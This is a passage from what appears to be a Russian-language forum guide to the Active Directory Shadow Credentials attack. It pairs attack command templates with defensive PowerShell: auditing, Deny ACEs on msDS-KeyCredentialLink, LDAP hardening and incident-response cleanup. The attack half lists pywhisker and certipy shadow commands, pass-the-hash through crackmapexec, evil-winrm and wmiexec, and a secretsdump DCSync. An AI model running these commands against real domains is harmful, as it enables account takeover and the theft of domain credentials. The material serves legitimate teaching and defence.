python3 pywhisker.py -d DOMAIN -u USER -p PASS --target TARGET --action remove --device-id GUID
Bash:
# Автоматический flow
certipy shadow auto -u USER@DOMAIN -p PASS -account TARGET
# Ручной control
certipy shadow add -u USER@DOMAIN -p PASS -account TARGET
certipy shadow remove -u USER@DOMAIN -p PASS -account TARGET -device-id GUID
Post-Exploitation с NT Hash
Bash:
# Pass-the-Hash
crackmapexec smb TARGET -u USER -H NTHASH
evil-winrm -i TARGET -u USER -H NTHASH
# WMI Execution
impacket-wmiexec DOMAIN/USER@TARGET -hashes :NTHASH
# DCSync (если Domain Admin)
impacket-secretsdump DOMAIN/USER@DC -hashes :NTHASH
Defense - Detection Setup
Код:
# Настройка SACL для msDS-KeyCredentialLink
Set-AuditRule -AdObjectPath 'AD:\DC=domain,DC=local' `
-WellKnownSidType WorldSid `
-Rights WriteProperty,GenericWrite `
-InheritanceFlags All `
-AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 `
-AuditFlags Success
# Включить LDAP Signing
# GPO: DC: LDAP server signing requirements = Require signing
# Включить LDAP Channel Binding
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LdapEnforceChannelBinding" -Value 2 -Type DWord
Defense - Deny ACE for Privileged Accounts
Код:
# Функция для применения Deny ACE
function Set-DenyACE-KeyCredentialLink {
param([string]$UserDN)
$acl = Get-Acl "AD:\$UserDN"
$sid = [System.Security.Principal.SecurityIdentifier]"S-1-1-0"
$guid = [Guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
[System.Security.AccessControl.AccessControlType]::Deny,
$guid
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$UserDN" $acl
}
# Применить ко всем Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
Set-DenyACE-KeyCredentialLink -UserDN $_.DistinguishedName
}
Incident Response
Код:
# 1. Очистить Shadow Credentials
Set-ADUser COMPROMISED_USER -Clear msDS-KeyCredentialLink
# 2. Проверка успешности
Get-ADUser COMPROMISED_USER -Properties msDS-KeyCredentialLink | Select msDS-KeyCredentialLink
# 3. Аудит всех privileged аккаунтов
Get-ADUser -Filter {AdminCount -eq 1} -Properties msDS-KeyCredentialLink |
Where-Object {$_.msDS-KeyCredentialLink} |
Select-Object Name, SamAccountName
# 4. Проверка всех аккаунтов с KeyCredentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object {$_.msDS-KeyCredentialLink} |
Export-Csv "KeyCredentials_Audit_$(Get-Date -Format 'yyyy-MM-dd').csv"
Последнее редактирование: